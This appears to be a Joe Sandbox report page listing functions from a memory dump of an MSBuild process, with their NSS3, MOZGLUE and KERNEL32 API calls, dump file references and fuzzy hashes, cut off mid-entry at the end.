Instruction Fuzzy Hash: AB11B2B1A022109FFB108F15D848A6677BCEB4635DF14813DEA49C7B61E731E918CBA1

Function 6CC768E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC768FB
EnterCriticalSection.KERNEL32 ref: 6CC76913
PORT_FreeArena_Util.NSS3 ref: 6CC7693E
PR_Unlock.NSS3 ref: 6CC76946
DeleteCriticalSection.KERNEL32 ref: 6CC76951
free.MOZGLUE ref: 6CC7695D
PR_Unlock.NSS3 ref: 6CC76968

Part of subcall function 6CD1DD70: TlsGetValue.KERNEL32 ref: 6CD1DD8C
Part of subcall function 6CD1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD1DDB4

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 0b68a997150a57c1e4686658c669ed9da97ed80ec3df7484147510ec67cacefb
Instruction ID: e7e57b2e77e144d89669b0e3ec3539ca9a5cf357dd15fce0a297b43567a6d26d
Opcode Fuzzy Hash: 0b68a997150a57c1e4686658c669ed9da97ed80ec3df7484147510ec67cacefb
Instruction Fuzzy Hash: B7115EB5A04B059FEB00AF79D08856DBBF8FF42348F014568D999DB601EB30D499CBA2

Function 6CD8C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6CD01AB6,00000000,?,?,6CD007B9,?), ref: 6CD8C9C6
free.MOZGLUE(?,?,6CD007B9,?), ref: 6CD8C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6CD8C9E5
free.MOZGLUE(?), ref: 6CD8C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6CD8C9F8
free.MOZGLUE(?), ref: 6CD8C9FF
free.MOZGLUE(00000000), ref: 6CD8CA0B

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 22914ab6d581b6e963126c291eb37e327c1ec0bbcb9b0e2fd8f90ec75fd357df
Instruction ID: 0de3f33650c898b830cc21c222f0af58b917e64500e88afd36355f2c18b5caad
Opcode Fuzzy Hash: 22914ab6d581b6e963126c291eb37e327c1ec0bbcb9b0e2fd8f90ec75fd357df
Instruction Fuzzy Hash: 05014FB2600606ABEB10EFB5CC88867B7BCFE896613040526EA06C3600D735F556CBE1

Function 6CCCA970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb8334a9b16d50aafa21b3959958c6604c687785032083b82405377405bdf7c3
Instruction ID: 087a2a4246de92e014889284fdea231f1e6c2877eb382a76265079ceb6988c4f
Opcode Fuzzy Hash: eb8334a9b16d50aafa21b3959958c6604c687785032083b82405377405bdf7c3
Instruction Fuzzy Hash: 6A914C30F041684BCB258E2988953DA77B5AF8A30CF1581E9C5999BA11F6318EC6CFD3

Function 6CCDED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CCDED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CCDEDCE

Part of subcall function 6CCD0BE0: malloc.MOZGLUE(6CCC8D2D,?,00000000,?), ref: 6CCD0BF8
Part of subcall function 6CCD0BE0: TlsGetValue.KERNEL32(6CCC8D2D,?,00000000,?), ref: 6CCD0C15

free.MOZGLUE(00000000,?,?,?,?,6CCDB04F), ref: 6CCDEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CCDEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CCDEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CCDEEFB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 3abd02579123e9d01c6cdce1d868ebe0d15ff3b231ca24eed22ad387de81186a
Instruction ID: 0f777f129b7f22396bcbd7dc1882b50cd142ffb1f332be3e6a37e10370bd2392
Opcode Fuzzy Hash: 3abd02579123e9d01c6cdce1d868ebe0d15ff3b231ca24eed22ad387de81186a
Instruction Fuzzy Hash: 02816EB5A002069FEB14CF59D884BABB7F5BF49308F15442CEA159BB51EB30F815CBA1

Function 6CCDCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CCDDAE2,?), ref: 6CCDC6C2

PR_Now.NSS3 ref: 6CCDCD35

Part of subcall function 6CD39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD80A27), ref: 6CD39DC6
Part of subcall function 6CD39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD80A27), ref: 6CD39DD1
Part of subcall function 6CD39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CD39DED

Part of subcall function 6CCC6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC71C6F,00000000,00000004,?,?), ref: 6CCC6C3F

PR_GetCurrentThread.NSS3 ref: 6CCDCD54

Part of subcall function 6CD39BF0: TlsGetValue.KERNEL32(?,?,?,6CD80A75), ref: 6CD39C07

Part of subcall function 6CCC7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC71CCC,00000000,00000000,?,?), ref: 6CCC729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCDCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CCDCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CCDCE2C

Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD10F3
Part of subcall function 6CCD10C0: EnterCriticalSection.KERNEL32(?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD110C
Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1141
Part of subcall function 6CCD10C0: PR_Unlock.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1182
Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CCDCE40

Part of subcall function 6CCD14C0: TlsGetValue.KERNEL32 ref: 6CCD14E0
Part of subcall function 6CCD14C0: EnterCriticalSection.KERNEL32 ref: 6CCD14F5
Part of subcall function 6CCD14C0: PR_Unlock.NSS3 ref: 6CCD150D

Part of subcall function 6CCDCEE0: PORT_ArenaMark_Util.NSS3(?,6CCDCD93,?), ref: 6CCDCEEE
Part of subcall function 6CCDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CCDCD93,?), ref: 6CCDCEFC
Part of subcall function 6CCDCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CCDCD93,?), ref: 6CCDCF0B
Part of subcall function 6CCDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CCDCD93,?), ref: 6CCDCF1D

Part of subcall function 6CCDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CCDCD93,?), ref: 6CCDCF47
Part of subcall function 6CCDCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CCDCD93,?), ref: 6CCDCF67
Part of subcall function 6CCDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CCDCD93,?,?,?,?,?,?,?,?,?,?,?,6CCDCD93,?), ref: 6CCDCF78

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 3605198fe6a314d75a5454dc27743b67efe3d62b4e21ae289bc50c9c946464bb
Instruction ID: 7656300857bf575c788a806ff0007b5c1d9d7627bfe807d61a0a5c315370cdf9
Opcode Fuzzy Hash: 3605198fe6a314d75a5454dc27743b67efe3d62b4e21ae289bc50c9c946464bb
Instruction Fuzzy Hash: 8D51B3B6A002129FEB10EF69DC40BAA73F5EF48358F260524DA4997B50FB31F905CB91

Function 6CCAEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CCAEF38

Part of subcall function 6CC99520: PK11_IsLoggedIn.NSS3(00000000,?,6CCC379E,?,00000001,?), ref: 6CC99542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CCAEF53

Part of subcall function 6CCB4C20: TlsGetValue.KERNEL32 ref: 6CCB4C4C
Part of subcall function 6CCB4C20: EnterCriticalSection.KERNEL32(?), ref: 6CCB4C60
Part of subcall function 6CCB4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB4CA1
Part of subcall function 6CCB4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CCB4CBE
Part of subcall function 6CCB4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB4CD2
Part of subcall function 6CCB4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB4D3A

PR_GetCurrentThread.NSS3 ref: 6CCAEF9E

Part of subcall function 6CD39BF0: TlsGetValue.KERNEL32(?,?,?,6CD80A75), ref: 6CD39C07

free.MOZGLUE(00000000), ref: 6CCAEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCAF016
free.MOZGLUE(00000000), ref: 6CCAF022

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: b6c0db704733b0954bd305509274a2d24fa47ba3a525d8b49ca6193a995e9c68
Instruction ID: a70fa9e1db158ffab2fec0158d26726611da96ba688e4ad052e2aaf37b2eeb96
Opcode Fuzzy Hash: b6c0db704733b0954bd305509274a2d24fa47ba3a525d8b49ca6193a995e9c68
Instruction Fuzzy Hash: 07417371E0010AAFDF019FE9DC85AEE7AB9EB48358F044029FA14A6750F771D9168BA1

Function 6CC84860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC84894

Part of subcall function 6CCCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CDA18D0,?), ref: 6CCCB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC848CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC848DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6CC848FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC84912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC8494A

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: ec8f89d61aa70b494175a5ff0cd3fba422ac94298a65a53bf6630dd1bd2ccd6f
Instruction ID: 5223d0fa9b1935a10ce2f32514238dc296febf0559a5a9630fc208a18d85f1ba
Opcode Fuzzy Hash: ec8f89d61aa70b494175a5ff0cd3fba422ac94298a65a53bf6630dd1bd2ccd6f
Instruction Fuzzy Hash: 844191B1A06305ABE710CB69D8A1BAB77ECAF8421CF54052CEA55D7B41F770E908CB52

Function 6CCD8810 Relevance: 9.1, APIs: 6, Instructions: 110memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,?,6CCD86AA), ref: 6CCD8851

Part of subcall function 6CCD1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC6F599,?,00000000), ref: 6CCD136A
Part of subcall function 6CCD1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CC7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC6F599,?,00000000), ref: 6CCD137E
Part of subcall function 6CCD1340: PL_ArenaGrow.NSS3(?,6CC6F599,?,00000000,?,6CC7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC6F599,?), ref: 6CCD13CF
Part of subcall function 6CCD1340: PR_Unlock.NSS3(?,?,6CC7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC6F599,?,00000000), ref: 6CCD145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,6CCD86AA), ref: 6CCD886C
PORT_ArenaAlloc_Util.NSS3(?,0000002C), ref: 6CCD8890
PR_GetCurrentThread.NSS3 ref: 6CCD891C
PR_GetCurrentThread.NSS3 ref: 6CCD8937

Part of subcall function 6CD39BF0: TlsGetValue.KERNEL32(?,?,?,6CD80A75), ref: 6CD39C07

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Arena$Util$Alloc_CurrentThreadValue$CriticalEnterGrowGrow_SectionUnlock
String ID:
API String ID: 3779483720-0
Opcode ID: 746007bdef7a0a5c53b4054251897ec2c9f2af3277b1d390d697e295b8525eeb
Instruction ID: ffd327e91f25bf7e4bab8137dd4f58997e6e32c4c26edfce09588fb6c7dd3b49
Opcode Fuzzy Hash: 746007bdef7a0a5c53b4054251897ec2c9f2af3277b1d390d697e295b8525eeb
Instruction Fuzzy Hash: 994194B0A012029FE704CF29C890F61B7A4FF45318F11926AD9588B755FB71F964CBD1

Function 6CD00960 Relevance: 9.1, APIs: 6, Instructions: 109stringCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CDD2F88,Function_00110660,-00000001,?,?), ref: 6CD00983

Part of subcall function 6CBF4C70: TlsGetValue.KERNEL32(?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4C97
Part of subcall function 6CBF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CB0
Part of subcall function 6CBF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CC9

TlsGetValue.KERNEL32(-00000001,?,?), ref: 6CD00997
EnterCriticalSection.KERNEL32(?), ref: 6CD009AB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CD00A30
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CD00A60
PR_Unlock.NSS3 ref: 6CD00A85

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuestrcmp$CallOnce
String ID:
API String ID: 3855614339-0
Opcode ID: a9617f972d906732764176ff0c2760d1e0e21120c5a069c10f0e225ed5ddf62e
Instruction ID: 1df263f5f30f4ec752cea22dbc0aca3ea5ca31e38b01fe1028fc93001f3c3fc4
Opcode Fuzzy Hash: a9617f972d906732764176ff0c2760d1e0e21120c5a069c10f0e225ed5ddf62e
Instruction Fuzzy Hash: F441F634B00781EBEB108F2DD881B5677B9EF45388F044A2AED9897A61D730F954CBD1

Function 6CCE8890 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000004,?), ref: 6CCE88C0
PK11_HashBuf.NSS3(00000003,?,?,?), ref: 6CCE88E0
NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CCE8915
HASH_ResultLenByOidTag.NSS3(00000000), ref: 6CCE8928
PK11_HashBuf.NSS3(00000000,?,?,?), ref: 6CCE8957
PK11_HashBuf.NSS3(00000004,?,?,?), ref: 6CCE8980

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: HashK11_$AlgorithmPolicy$Result
String ID:
API String ID: 2238172455-0
Opcode ID: 743eb15667aa5181f25efd0d2396f33855dde6ae347a5462046c3b1caa7e4627
Instruction ID: 362e5ca87bf2b2847f91a260bce49d5332878e33ef894a3a1d297f002e730b85
Opcode Fuzzy Hash: 743eb15667aa5181f25efd0d2396f33855dde6ae347a5462046c3b1caa7e4627
Instruction Fuzzy Hash: A131B672D44159ABEB009EAD9D40FAF73A8AF0B318F140126EE1497A91F7319A14C3E3

Function 6CC5A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CD39270), ref: 6CC5A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CD39270), ref: 6CC5A9DE

Part of subcall function 6CC5AB40: __aulldiv.LIBCMT ref: 6CC5AB66

Part of subcall function 6CD3CA40: LeaveCriticalSection.KERNEL32(?), ref: 6CD3CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6CC5AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6CC5AA39
EnterCriticalSection.KERNEL32(?), ref: 6CC5AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC5AAEB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: e8a27d63752b43ce29746fb16f5f714b810e15d8e75ad9562df8c69448005d8d
Instruction ID: 352b6641ada2ff01d25c241ddc49be09772259a6dcf2589d9c60b2b2e145ffc0
Opcode Fuzzy Hash: e8a27d63752b43ce29746fb16f5f714b810e15d8e75ad9562df8c69448005d8d
Instruction Fuzzy Hash: E141E0746043018FD3009F2AC5847A2BBF5FB86328F64862DE55D8B641EB71D9E2CFA4

Function 6CC888D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC90725,00000000,00000058), ref: 6CC88906
EnterCriticalSection.KERNEL32(?), ref: 6CC8891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CC8894A
calloc.MOZGLUE(00000001,6CC9072D,00000000,00000000,00000000,?,6CC90725,00000000,00000058), ref: 6CC88959
memset.VCRUNTIME140(?,00000000,?), ref: 6CC88993
PR_Unlock.NSS3(?), ref: 6CC889AF

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
